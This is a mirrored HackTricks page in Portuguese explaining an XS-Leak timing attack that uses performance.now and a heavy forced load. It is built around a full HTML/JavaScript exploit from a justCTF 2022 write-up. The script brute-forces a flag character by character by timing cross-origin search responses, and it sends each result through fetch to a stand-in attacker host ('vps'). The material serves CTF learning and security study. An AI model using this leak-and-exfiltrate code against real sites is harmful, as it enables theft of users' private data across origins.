mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
134 lines
4.6 KiB
Markdown
134 lines
4.6 KiB
Markdown
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# performance.now + Force heavy task
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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{% endhint %}
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**Exploit retirado de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
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Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Assim, ao colocar uma grande quantidade de caracteres, o atacante poderia medir se a flag estava contida na string enviada ou não.
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{% hint style="warning" %}
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Inicialmente, eu não defini a largura e altura do objeto, mas depois descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento.
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{% endhint %}
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```html
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<!DOCTYPE html>
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<html>
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<head>
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</head>
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<body>
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<img src="https://deelay.me/30000/https://example.com">
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<script>
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fetch('https://deelay.me/30000/https://example.com')
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function send(data) {
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fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
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}
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function leak(char, callback) {
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return new Promise(resolve => {
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let ss = 'just_random_string'
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let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
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let start = performance.now()
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let object = document.createElement('object');
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object.width = '2000px'
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object.height = '2000px'
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object.data = url;
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object.onload = () => {
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object.remove()
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let end = performance.now()
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resolve(end - start)
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}
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object.onerror = () => console.log('Error event triggered');
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document.body.appendChild(object);
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})
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}
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send('start')
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let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
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let flag = 'justCTF{'
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async function main() {
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let found = 0
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let notFound = 0
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for(let i=0;i<3;i++) {
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await leak('..')
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}
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for(let i=0; i<3; i++) {
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found += await leak('justCTF')
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}
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for(let i=0; i<3; i++) {
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notFound += await leak('NOT_FOUND123')
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}
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found /= 3
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notFound /= 3
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send('found flag:'+found)
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send('not found flag:'+notFound)
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let threshold = found - ((found - notFound)/2)
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send('threshold:'+threshold)
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if (notFound > found) {
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return
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}
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// exploit
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while(true) {
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if (flag[flag.length - 1] === '}') {
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break
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}
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for(let char of charset) {
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let trying = flag + char
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let time = 0
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for(let i=0; i<3; i++) {
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time += await leak(trying)
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}
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time/=3
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send('char:'+trying+',time:'+time)
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if (time >= threshold) {
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flag += char
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send(flag)
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break
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}
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}
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}
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}
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main()
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</script>
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</body>
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</html>
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```
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{% hint style="success" %}
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Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Suporte ao HackTricks</summary>
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* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
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|
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* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
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* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
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</details>
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{% endhint %}
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